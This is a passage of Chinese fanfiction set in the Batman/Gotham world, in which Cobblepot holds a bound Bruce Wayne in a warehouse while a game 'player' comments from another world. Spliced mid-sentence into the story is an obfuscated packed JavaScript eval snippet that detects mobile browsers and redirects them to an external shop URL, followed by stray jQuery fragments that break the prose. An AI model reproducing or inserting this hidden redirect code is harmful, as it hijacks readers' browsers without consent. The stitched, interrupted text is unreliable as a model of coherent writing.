“不，呃，我觉得这不算……”玩家支支吾吾地说，“这只是……只是……已经被表明的捷径……又怎么能算是……”


    “好吧，”他自己也编不下去了，干脆放弃挣扎，“就是蜂蜜陷阱，但这真的很管用，你要试试吗？”


    布鲁斯：【……】


    我……我吗？


    他陷入了沉思，实话实说，玩家说的话并非全无道理，利用某些方法听到心声确实是收集情报的最佳方式，这对他来说不算什么——几年前，在打击罪犯的过程中，他常常说些俏皮话来扰乱对手，有时，他也会利用好布鲁斯·韦恩这个明面上花花公子的身份，用一些相对而言比较特殊的方法，加速调查的进程……


    但让他对一个已知喜欢“自己”的男人玩这一套？


    他瞬间起了一身鸡皮疙瘩：


    【你说的很有道理——】


    玩家期待的看向屏幕，但还没等他说什么，布鲁斯又说道：


    【但我拒绝。】


    玩家遗憾的叹了一大口气。


    ——


    怒斥声持续了一阵，但面对无人理睬的状况，布鲁斯很快就说不动了。


    又过了一会，他皱起眉：


    “你把我带到这里，却什么都不说，如果这是某种心理施压，”他顿了顿，“那你已经达到目的了。”


    科波特的眼皮动了动，终于开口道：


    “这就受不了了？”


    “我不喜欢浪费时间，”布鲁斯的声音多了点不耐烦，“进入正题吧，勒索？报复？胁迫？随便什么，至少给我一个理由。”


    “我不这么认为……”科波特的声音慢条斯理的，“现在看来，你需要更多的时间让自己‘冷静’下来，布鲁斯。”


    话音落下，他站起身，朝外走去。


    “等等……你想把我一直晾在这儿？”被以一个极其不舒服的姿势绑在椅子上的人立刻开始挣扎起来，“好歹给我松松绳结吧，手腕上的绳子绑的太紧了，血液没法正常流动，我还不想截肢……那对你也没好处。”


    科波特的动作顿了顿，他转头看了一眼对方的双手——


    那点担心完全是多余的，显然，那距离“肌肉坏死”还差得远。


    “与我无关。”


    脚步声越来越远，门被打开，但在即将离开的前一刻，他调转方向，悄无声息的从另一侧绕了回来。


    被遮住视野的人显然“没有”看到这一幕，他先是安静了一阵，接着，开始尝试进行自救。


    “咔咔……”


    他试着自己弄松绳子，但凳脚被动作带的晃动起来，他被声响吓了一跳，神色变得紧张，害怕会被人听到。


    科波特勾了勾嘴角。


    那就满足你的想象。


    他慢慢走上前，故意将冰冷的枪管贴到了他的脸上。


    布鲁斯的喉结紧张的滚动了几下，但很快，他的脸上浮现出那种强装着的笑容。


    “嘿，别担心，伙计，我没想跑，”他压低了声音，带着诱哄的意味，“既然你的老大让你留在这里看着我，那你有想过……挣点外快吗？听我说——如果你愿意帮我稍稍松松身上的绳子，它勒的快要让我喘不上气了，我可以给你……”


    他深吸了一口气，说不下去了。


    因为他明确感觉到，那支黑洞洞的枪口正一点点上移，直至抵到了太阳穴上。


    ——其中的威胁含义不言而喻。


    “别这样……”他低声求饶，“当我没说，好吗？”


    科波特推了下墨镜，威慑似的用枪拍了拍布鲁斯的脸颊，随后，缓缓收回了枪。


    时间一分一秒过去。


    被绑在椅子上的男人并没有就此放弃，他显然对自己的口才很有自信，一直在试图说服、收买仓库里的几个手下，但他“不知道”的是——没人敢在科波特在场的情况下对他假以辞色。


    他不仅没能得到任何回应，作为回报，颈部的束缚被再次收紧，防止他再乱动、左右扭头找人说话。


    效果立竿见影。


    先是剧烈的咳嗽，紧接着是生理性的干呕，身体的本能与强加的束缚激烈对抗着，他艰难的同不适感搏斗，利用那点仅存的空间呼吸。


    不过，从某种意义上来说，这并不全是坏事，原先布鲁斯就一直在通过暗中调节呼吸来模拟的脸颊微微充血的状态，而现在，科波特帮他达成了更为逼真的效果。


    他无视了耳边玩家带着怒气的对科波特的辱骂，专心演绎着一个因为不熟悉绳索，把自己弄的格外狼狈的花花公子哥形象。


    又过了许久，他终于等到了第二次仓库门响动的声音。


    等脚步声在面前停下，黑发蓝眼的男人动了动嘴唇：


    “……咳……奥兹？”


    科波特低头看着他，慢慢应了一声：


    “……嗯。”


    “你终于打算理会我了？”他的声音变得沙哑、断续、犹豫——先前受到的对待显然打消了他认为自己绝不会被撕票的自信，“直说吧，咳……你想要做什么？”


    科波特抱起双臂，沉默。


    再次被无视，布鲁斯的声音明显变得急切：


    “如果你只是想给我一个下马威……我已经明白了，好吗？我们没必要这样，说出你想要从我身上得到的东西……咳咳……我们可以商量……”


    他的话语淹没在一阵古怪的笑声中。


    “哈哈，我们可以商量……真有趣……”发出笑声的人正是科波特，他的肩膀抖动着，但墨镜之后的那双眼睛却看不见半点笑意，“你知道谁曾说过这句话吗？”


    耳边，一直嘟嘟囔囔的玩家忽然不作声了。


    “我的母亲，”科波特低声说，“当年她也是像这样被你的父亲和法尔科内绑在椅子上折磨，逼她交出手中的财富，而她在被逼疯之前也总是在哀求——我们可以商量，求你们放过我。”


    他蹲下身子，用曾经最熟悉的视角，仰视着这个熟悉的人：


    “她在暗无天日的疯人院被折磨了几个月，而你呢，布鲁斯？仅仅几个小时，我甚至还没开始招待你，你就已经难以忍受了吗？”


    空气仿佛凝固了。


    半晌，布鲁斯才低声开口，声音干涩：


    “我不是我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034104|181993||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的父亲。”


    “是啊……”科波特盯着他，面带嘲讽，“这就是为什么你还能活着坐在这里。”


    他忽然很想看看黑布之下的光景——那双蓝眼睛中会有什么？愧疚？愤怒？还是怜悯？


    但他最终还是没有取下对方的眼罩。


    “待在这儿，别再妄想收买我的人，”科波特冷酷的站起身，“这是你应得的。”


    脚步声再次远去。


    “咔。”


    门关上的声音。


    和之前一样，科波特依旧没有走远，站在阴影里，面对着光源，看着被固定在椅子上的人。


    尽管对方的双眼被遮住，但他依旧感受到了那人的迷茫和绝望。


    刚刚那番话看起来对布鲁斯的打击很大，他不再尝试自救，而是死气沉沉的坐在那里。


    不久后，此前被紧张和愤怒强行抑制住的酒精终于开始发挥作用。


    在醉意加缺氧的共同作用下，那人如同一个被一点点调暗的灯泡，胸腔起伏的幅度变小，头慢慢垂下去，又被绳索牵着，卡在一个不自然的角度。


    他像是睡着了，又像是晕过去了。


    科波特站在阴影里，盯着那个垂头不动的身影看了很久。


    “……”


    最终，他走上前，居高临下地看着这个失去意识的男人。


    对方的呼吸很浅，嘴角因为之前的争斗被划破了，几缕黑发被冷汗黏在额角，粗糙的麻绳在皮肤上勒出了许多的红痕。


    一股烦躁的情绪涌上心头，科波特忽然意识到一件事——即便布鲁斯看起来如此狼狈不堪，他心中却并未因此升起预期的快意。


    他深吸了一口气，看向一旁的几个心腹：


    “解开他。”


    绳索被利落的切断，科波特并没有把布鲁斯交给几个手下，而是将对方的胳膊搭在自己的肩膀上，半撑半抱的，带着这个失去意识的人，走向仓库深处一个隐蔽的暗门。


    那里面藏着一间设施齐全的房间，科波特把布鲁斯放在床上，特地避开了他手腕和脖子的瘀伤处，将床脚锁链的一头扣在了对方的脚踝上。


    做完这一切之后，他没有立刻离开，而是盯着对方走了会神。


    就像他自己说的那样——


    他曾无数次想把母亲的仇恨发泄在布鲁斯身上，想把两个韦恩混为一谈。


    可他也无比清楚，这两个灵魂本质不同。


    也许没人愿意相信，但事实上，他刚刚所做的一切，并不是出于报复，并不是为了从布鲁斯身上得到什么，而是在弥补心中对于母亲的愧疚。


    ——因为他想要拯救的，是仇人之子。


    他叹了口气，转过身，但就在他即将离开房间的前一刻——


    身后传来了一道虚弱的声音：


    “别走。”


    ——


    另一个世界中，玩家盯着屏幕看了很久，忍不住开口吐槽：


    “你确定这不是Honey trap……？”


    布鲁斯：【…………】


    他沉默了一下，坚定的说：


    【No.】